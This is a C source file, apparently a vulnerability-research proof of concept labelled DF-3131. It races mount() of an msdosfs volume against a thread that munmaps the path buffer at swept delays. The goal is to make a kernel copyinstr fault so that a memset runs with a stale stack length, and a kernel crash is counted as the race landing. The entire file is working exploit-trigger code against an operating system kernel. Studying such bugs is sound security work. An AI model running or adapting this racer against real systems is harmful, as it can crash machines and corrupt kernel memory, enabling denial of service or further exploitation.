DF-3131 / race2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-3131 attempt 2: delay-swept one-shot racer. A single mount() call * runs while the munmap is timed to land inside mountmsdosfs() -- after * the nlookup of fspec but before the ignored copyinstr at * msdosfs_vfsops.c:281. If copyinstr faults there, `size` keeps stale * stack garbage and the memset at :282 writes with a garbage offset/len. * After each successful mount the f_mntfromname of the mount is checked: * a garbled/empty name = the copyinstr faulted (race landed, benign * garbage); a kernel crash = the race landed with hostile garbage. * * usage: race2 <device> <mountpoint> <iterations> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <pthread.h> #include <sys/param.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/mount.h> /* statfs: DFly lives here */ #include <sys/types.h> #include <sys/iconv.h> #include <vfs/msdosfs/msdosfsmount.h> static char *pagebase; static volatile int go; static long usec_delay = 1500; static volatile int stop; static void mapit(void) { void *p = mmap(pagebase, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap"); exit(2); } memcpy(pagebase, "/dev/vn0", 9); } static void *unmapper(void *arg) { (void)arg; while (!stop) { while (!go && !stop) usleep(20); if (stop) break; usleep(usec_delay); munmap(pagebase, 4096); usleep(300); mapit(); go = 0; } return NULL; } int main(int argc, char **argv) { struct msdosfs_args args; struct statfs sf; pthread_t th; int i, n, ok = 0, nlookup_efault = 0, badname = 0, other = 0; if (argc != 4) { fprintf(stderr, "usage: race2 <dev> <mnt> <iters>\n"); return 2; } n = atoi(argv[3]); pagebase = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); memcpy(pagebase, argv[1], strlen(argv[1]) + 1); pthread_create(&th, NULL, unmapper, NULL); for (i = 0; i < n; i++) { usec_delay = 300 + (i * 37) % 4000; /* sweep 0.3-4.3 ms */ go = 1; memset(&args, 0, sizeof(args)); args.fspec = pagebase; args.mask = 0755; args.dirmask = 0755; args.flags = MSDOSFSMNT_LONGNAME; if (mount("msdos", argv[2], 0, &args) == 0) { ok++; if (statfs(argv[2], &sf) == 0) { if (strcmp(sf.f_mntfromname, argv[1]) != 0) { badname++; if (badname <= 5) printf("GARBLED mntfromname [%s] " "(delay %ld us)\n", sf.f_mntfromname, usec_delay); } } unmount(argv[2], 0); usleep(1000); /* let unmapper finish cycle */ while (go) usleep(50); } else if (errno == EFAULT) { nlookup_efault++; while (go) usleep(50); } else { other++; while (go) usleep(50); } } stop = 1; pthread_join(th, NULL); printf("done: ok=%d garbled_name=%d nlookup_EFAULT=%d other=%d\n", ok, badname, nlookup_efault, other); return 0; } |